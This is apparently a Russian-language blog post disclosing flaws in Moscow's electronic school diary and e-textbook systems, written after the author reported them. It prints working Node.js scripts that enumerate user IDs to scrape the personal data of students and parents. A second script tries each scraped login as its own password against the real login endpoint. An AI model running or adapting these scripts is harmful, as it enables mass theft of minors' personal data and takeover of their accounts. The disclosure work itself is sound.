Уязвимость в электронном дневнике или как украсть персональные данные 2 миллионов пользователей +47


В предыдущей статье я рассказал про особенность генерации логинов и паролей в электронном дневнике, разработанном ДИТ'ом. Используя её, кто угодно мог получить доступ к любому чужому аккаунту и после просмотреть оценки ученика, изменить оценки учащихся от имени учителя, получить персональные данные владельца аккаунта или совершить любые другие действия от имени пользователей. Всем учителям сменили пароли, но остались ученики и родители со старыми паролями.

В этой статье пойдет речь о багах/уязвимостях в том же проекте.

Учитывая выше описанную особенность генерации логинов, можно было сделать вывод, что дневник разрабатывался не очень ответственно. Поэтому я решил попробовать поломать его ещё раз. Вся система состояла из фронтенда, который был написан на Angular. Он получал информацию с помощью API дневника, в котором и были найдены уязвимости/баги.

Баг 1


При получении пользовательских данных, отправлялся запрос по адресу dnevnik.mos.ru/lms/api/users/{user-id}. К запросу также надо было добавить токен, идентификатор профиля в виде header'ов для получения ответа. Ответ возвращался в формате JSON и состоял из: фамилии, имени, отчества, почты, телефона, прав пользователя (ученик/учитель/родитель), даты рождения, пола, списка профилей, привязанных к пользователю, и логина.

Наверное, разработчики хотели, чтобы пользователь с правами ученика мог получать данные только о себе, а учитель о себе и об учениках, но получилось, что пользователь с любой привилегией мог получать информацию о любом другом пользователе. Получился короткий скрипт на Node.

Эксплуатация
var fs = require('fs');
var request = require('request');
var i = 1;

var interval = setInterval(function() {
  parse(i);
  i += 10;
  if (i > lastId) // идентификатор пользователя, на котором необходимо закончить
    clearInterval(interval);
}, 200);

var parse = function (i) {
  for (var j = i; j < i + 10; ++j)
  request.get({url: "https://dnevnik.mos.ru/lms/api/users/" + j, headers: {'Accept': 'application/vnd.api.v2+json', 'Auth-Token': '********************************', 'Profile-Id': '*****'}}, function(err, res, body) {
    if (err)
      return console.error('upload failed:', err);
    fs.appendFileSync('out.txt', body + '\n');
  });
};


Как вы уже, я думаю, заметили, данных было очень много, и, скорее всего, владелец аккаунта был бы не доволен, если бы его телефон, почту и персональные данные получил бы левый человек, который мог бы использовать их не для благих целей.

Баг 2


После нахождения первого бага я получил логины небольшого количества пользователей и решил проверить, сменили ли всем пользователям пароли (раньше логины и пароли всех пользователей был одинаковыми). Однако, после случая с нахождением особенности, разработчики сделали для учеников и родителей авторизацию через портал государственных услуг — для того, чтобы зайти в дневник, надо было: авторизоваться на портале гос. услуг, один раз (при первой авторизации) ввести логин, пароль от дневника и нажать кнопку «Войти». При авторизации нас перенаправляли в МРКО (еще один электронный дневник от ДИТ'a или МЦКО) с логином и паролем, там нам выдавали токен и перенаправляли в дневник (о котором сейчас идет речь). Из-за этого авторизация была немного долгой, и я решил пойти другим путем.

Я вспомнил о еще одном проекте ДИТ'а, связанным с образованием, в котором использовалась авторизация с помощью логинов и паролей от МРКО и дневника, — система электронных учебников. Через «Учебник» авторизация происходила быстрей, чем через МРКО, и еще одна замечательная особенность была в «Учебнике». Она состояла в том, что при авторизации через «Учебник» выдавали токен, который можно было использовать и в дневнике, и в «Учебнике».

Эксплуатация
var request = require('request');
var fs = require('fs');
var crypto = require('crypto');

var md5 = function(str) {
  return crypto.createHash('md5').update(str).digest("hex");
};

var min = function(a, b) {
  if (a > b) return b;
  else return a;
}

var authorize = function(login, pass) {
  request({
      uri: 'https://uchebnik.mos.ru/api/sessions',
      method: 'POST',
      json: {"login": login, "second_factor":"", "password_hash": md5(pass + "4f8202ccd76210b47b40627c621daa56"), "password_hash2": md5(pass)},
      headers : {
        'Accept' : 'application/json',
        'Content-Type' : 'application/json'
      }
  }, function (error, response, body) {
    if (!error) {
      if (body.type != null && body.type == 'authentication_error')
        return 0;
      else {
        console.log("Bad login was found :)");
        fs.appendFile('auth.txt', JSON.stringify(body) + '\n');
      }
    } else {
      return console.error("Error: ", error);
    }
  });
};

fs.readFile('out.txt', function read(err, data) {
  if (err)
    throw err;
  else
    console.log("File was read");
  data = data.toString();
  var arr = data.split('\n');
  var i = 0;
  var interval = setInterval(function() {
    if (i > arr.length)
      clearInterval(interval);
    for (var j = i; j < min(i + 1, arr.length); ++j) {
      var login;
      try {
        login = JSON.parse(arr[i]).gusoev_login;
      } catch(e) {}
      authorize(login, login);
    }
    i += 10;
  }, 100);
});


После проверки совпадения логинов и паролей на небольшом количестве пользователей выяснилось, что у ~15% пользователей логины и пароли одинаковые. Также после случая, описанного в статье, некоторым ученикам выдали новый пароль, состоящий из даты рождения. Например, если ваша дата рождения была 1 февраля 2000 года, тогда ваш пароль мог бы быть — 01022000. Я проверил ещё есть ли пароли такие же, что и даты рождения, и у каких-то пользователей они к несчастью были.

Из этого можно сделать вывод, что о безопасности аккаунтов учеников и родителей заботятся меньше, чем об аккаунтах учителей. Вроде бы, понятно почему — если получат доступ к аккаунту учителя, ущерб будет больше, но ведь ученики и родители тоже не будут довольны, если их оценки, телефон, персональные данные получат люди, который не должны иметь возможность их получить.

Баг 3


Из того, что МРКО может проверить со своего сервера, верный ли логин, пароль от дневника (о котором идет речь), а «Учебник» может проверить логин, пароль от МРКО и дневника или выдать токен, который будет работать не только в «Учебнике», но и в дневнике, можно сделать предположение, что все три эти системы хранят данные в одной базе, и из-за чего возникают проблемы. Позже я выяснил, что дневник выдает в списках профилях профили от дневника и от МРКО — к одному «живому» пользователю может быть привязано несколько учетных записей, и один «живой» пользователь может иметь учетную запись и в МРКО, и в дневнике. Для каждой учетной записи есть логин, пароль, которые можно использовать в той системе, для которой была создана учетная запись, или в «Учебнике».

Третий баг был бы нерабочим, если бы токен от «Учебника» нельзя было использовать для авторизации в дневнике. Он заключается в том, что при авторизации в систему (в «Учебник») токен привязывается к первой учетной записи в списке профилей пользователя. Из-за этого, если первая учетная запись была создана для дневника, то токен можно использовать для получения доступа в дневник. В итоге, зная логин, пароль одного человека от МРКО, можно было получить доступ к его аккаунту в дневнике.

Баг 4


После нахождения трёх выше описанных уязвимостей/багов, я написал в тех. поддержку, и их закрыли. Четвертый баг почти такой же, что и первый. Он заключается в том, что пользователь с любыми правами может получить пользовательские данные любого пользователя, отправив запрос на uchebnik.mos.ru/api/users/{user-id} с токеном и идентификатором профиля.

Четвёртый баг и особенность генерации логинов и паролей закрывать не хотели, но думаю, что после этой публикации, хотя бы четвертый исправят.
-->


К сожалению, не доступен сервер mySQL